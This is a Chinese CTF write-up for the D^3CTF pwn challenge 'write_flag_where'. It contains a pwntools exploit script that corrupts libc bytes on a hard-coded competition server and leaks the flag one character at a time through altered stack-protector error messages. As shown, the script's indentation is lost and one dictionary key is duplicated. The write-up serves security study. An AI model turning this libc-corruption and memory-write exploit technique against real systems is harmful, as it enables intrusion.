D^3CTF PWN write_flag_where
玩法(?)是用flag{}里的内容来单字节修改libc。例如flag{abc},就可以将0x61覆掉到libc的一字节,只不过我们不知道远程flag是什么。
主要思路是修改open来调用stack_chk_fail,然后修改stack_chk_fail的一参(报错信息的地址),每一个offset对应一个报错信息,写一个字典即可将flag拼出来。
from pwn import *
from LibcSearcher import*
from re import *
context(os='linux', arch='amd64', log_level='info')
elf = ELF('./vuln')
def dbg():
gdb.attach(p,'b open')
def edit(addr,offset,b):
sleep(0.1)
b.sendline(str(addr))
sleep(0.1)
b.sendline(str(offset))
######### boom to get \x36's offset
for offset in range(6,47):
try:
# c = process('./vuln')
c = remote('47.103.122.127',31365)
start_addr = int(c.recv(12),16)
addr = start_addr - 0x26000 + 0x119E83
print('>>>trying offset ',offset)
c.sendlineafter('flag: d3ctf{[a-f0-9',str(addr))
c.sendline(str(offset))
edit(addr,offset,c)
edit(addr,offset,c)
break
except:
continue
offset36H = offset
print('>>>find offset36 = ',offset36H)
######### boom to get stack_check_fail offset
for offset in range(6,47):
try:
# c = process('./vuln')
c = remote('47.103.122.127',31365)
start_addr = int(c.recv(12),16)
addr = start_addr - 0x26000 + 0x119E9E
print('>>>trying offset ',offset)
#gdb.attach(c,'b open')
c.sendlineafter('flag: d3ctf{[a-f0-9',str(addr))
c.sendline(str(offset))
edit(start_addr - 0x26000 + 0x119E83,offset36H,c)
c.recvuntil('stack')
c.close()
break
except:
c.close()
continue
SCHoffset = offset
print('>>>find SCHoffset = ',SCHoffset)
######### change stack_check_fail message
flag = ''
flag_str = list(flag)
for offset in range(6,47):
try:
# c = process('./vuln')
c = remote('47.103.122.127',31365)
start_addr = int(c.recv(12),16)
addr = start_addr - 0x26000 + 0x138f39
print('>>>change stack_check_fail msg')
print('>>>trying offset ',offset)
#gdb.attach(c,'b open')
c.sendlineafter('flag: d3ctf{[a-f0-9',str(addr))
c.sendline(str(offset))
edit(start_addr - 0x26000 + 0x119E9E,SCHoffset,c)
edit(start_addr - 0x26000 + 0x119E83,offset36H,c)
c.recvuntil('***')
flag_str.append(c.recvline(False).decode())
for i in flag_str:
print('<<<flag =',i)
continue
except:
continue
flag_dict = {}
flag_dict[' zed stack frame ***: terminated'] = '0'
flag_dict[' ed stack frame ***: terminated'] = '1'
flag_dict[' d stack frame ***: terminated'] = '2'
flag_dict[' stack frame ***: terminated'] = '3'
flag_dict[' stack frame ***: terminated'] = '4'
flag_dict[' tack frame ***: terminated'] = '5'
flag_dict[' ack frame ***: terminated'] = '6'
flag_dict[' ck frame ***: terminated'] = '7'
flag_dict[' k frame ***: terminated'] = '8'
flag_dict[' frame ***: terminated'] = '9'
flag_dict[' ktracesyms.c ***: terminated'] = 'a'
flag_dict[' tracesyms.c ***: terminated'] = 'b'
flag_dict[' racesyms.c ***: terminated'] = 'c'
flag_dict[' acesyms.c ***: terminated'] = 'd'
flag_dict[' cesyms.c ***: terminated'] = 'e'
flag_dict[' esyms.c ***: terminated'] = 'f'
true_flag = 'd3ctf{'
for i, j in enumerate(flag_str):
if j == " buffer overflow detected ***: terminated":
continue
print(f'<<<{i} in flag_str is ',j)
true_flag += flag_dict[j]
true_flag += '}'
print('<<< Get flag :',true_flag)
相关的题目:
https://www.kn0sky.com/?p=3665c2cb-138a-4e38-b607-99a7ea083497
https://ctftime.org/task/25673
https://github.com/R3tr074/retr0.zip/blob/master/posts/google-ctf-2023-writeups.md